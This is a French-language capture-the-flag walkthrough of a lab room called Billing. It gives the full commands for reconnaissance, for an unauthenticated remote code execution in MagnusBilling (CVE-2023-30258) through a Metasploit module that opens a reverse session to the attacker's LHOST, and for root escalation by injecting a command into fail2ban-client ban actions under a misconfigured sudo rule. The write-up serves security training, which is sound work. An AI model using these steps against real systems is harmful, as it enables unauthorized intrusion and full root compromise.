🧠 Procédure pas à pas de la salle : Billing

Écrit par : Aditya Bhatt | Contributeur Open Source

📦 Aperçu

Dans cette procédure, nous attaquons de plein fouet la salle Billing, mettant en avant une instance MagnusBilling vulnérable, une juteuse RCE sans authentification (CVE-2023-30258), et une mauvaise configuration sudo de fail2ban qui crie « root me ».

Cette salle mélange magnifiquement l'exploitation automatisée avec une escalade de privilèges créative, nous offrant un aperçu pratique des failles du monde réel cachées dans les logiciels de facturation VoIP. Nous passerons de la reconnaissance initiale au shell root avec un PoC complet, des commentaires et une ambiance 🗿.

🌐 Étape 1 : Phase d'énumération

🏁 Accès initial

Après avoir déployé la machine, la première chose qui vous frappe comme un pare-feu mal configuré :

http://<IP_machine>/mbilling/

C'est la page de connexion de MagnusBilling. Cela seul déclenche des sonnettes — vous savez que vous allez jouer avec un juteux CVE.

🔍 Reconnaissance approfondie avec Nmap + Gobuster

Nous commençons avec le combo de reconnaissance ultime :

nmap -A -sV -p- 10.10.115.173

🧠 Résultats :

• Port 5038 – Asterisk Call Manager/2.10.6
• D'autres services HTTP sont disponibles sous /mbilling/

Ensuite, nous passons en brute force avec Gobuster :

gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt

🧠 Résultats :

• robots.txt

🏗️ robots.txt

Ensuite, nous vérifions le robots.txt du site pour voir s'il y a quelque chose d'intéressant :

User-agent: *
Disallow: /mbilling/

Hmm… essayer de le cacher ne fait que nous le faire désirer plus 😈

🔌 Étape 2 : Exploitation

🔥 Port 5038 – Asterisk Manager

Un test rapide avec netcat confirme qu'il répond avec :

Response: Error
Message: Missing action in request

Ce qui confirme davantage : le backend est MagnusBilling, et le port est lié à Asterisk Call Manager. Il est temps d'invoquer nos arts sombres 🧙

⚔️ Arme de choix : CVE-2023-30258

Exploit : Exécution de code à distance non authentifiée dans MagnusBilling Module : exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Lancez Metasploit :

msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Ensuite, vérifiez les prérequis :

show options

Ensuite, configurez ce qui suit :

set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run

Quelques secondes plus tard… Boom. Nous avons une session Meterpreter !

shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64

Essayé de lancer un shell TTY :

python3 -c 'import pty; pty.spawn("/bin/bash")'

🧭 Étape 3 : Énumération des utilisateurs

Nous commençons à remonter avec :

cd ..
cd ..

Jusqu'à ce que nous trouvions :

cd /home/magnus
cat user.txt

Sympa ! Mais nous n'avons pas fini. Il nous faut root, et Magnus nous murmure des secrets.

🧨 Étape 4 : Escalade de privilèges

Vérifions ce que nous pouvons exécuter avec sudo :

sudo -l

Résultat :

(ALL) NOPASSWD: /usr/bin/fail2ban-client

Maintenant, ça c'est 🔥. Nous pouvons abuser de fail2ban-client pour exécuter des commandes en tant que root en utilisant les actions de bannissement.

🎯 Abus de Fail2Ban → Shell root

Redémarrons fail2ban :

sudo /usr/bin/fail2ban-client restart

Ensuite, injectons la commande pour voler le flag root :

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"

Déclenchez le bannissement (et donc la commande) :

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

Ensuite :

cat /tmp/root.txt

Rooté. Comme. Un. Boss. 🗿🔥

✅ Tableau récapitulatif final

🧠 Ce que vous avez appris (alias Sagesse de semi-pro)

1. 🔍 La reconnaissance ne se limite pas au scan – Cherchez des pages cachées, vérifiez robots.txt et fouillez les ports étranges.
2. 💣 Exploitez les CVE connus – MagnusBilling était vulnérable à un exploit public (CVE-2023-30258).
3. 🔓 L'escalade de privilèges ne signifie pas toujours des exploits du noyau – Des droits sudo mal configurés (comme sur fail2ban-client) sont tout aussi dangereux.
4. ⚙️ La créativité compte – Contourner les restrictions utilisateur avec des actions de bannissement montre une réflexion latérale concrète.

🗿 Derniers mots

Cette machine était un bel équilibre entre exploitation automatisée et créativité manuelle post-exploitation. De la RCE MagnusBilling au rooting via fail2ban, elle touche toutes les bonnes notes pour la playlist d'un pentester 🎧🎯

Que vous soyez un débutant cherchant à monter en niveau ou un guerrier chevronné collectionnant les flags — celle-ci est un must-pwn.

À la prochaine, Restez dangereux. Restez curieux. Restez majestueux. 🗿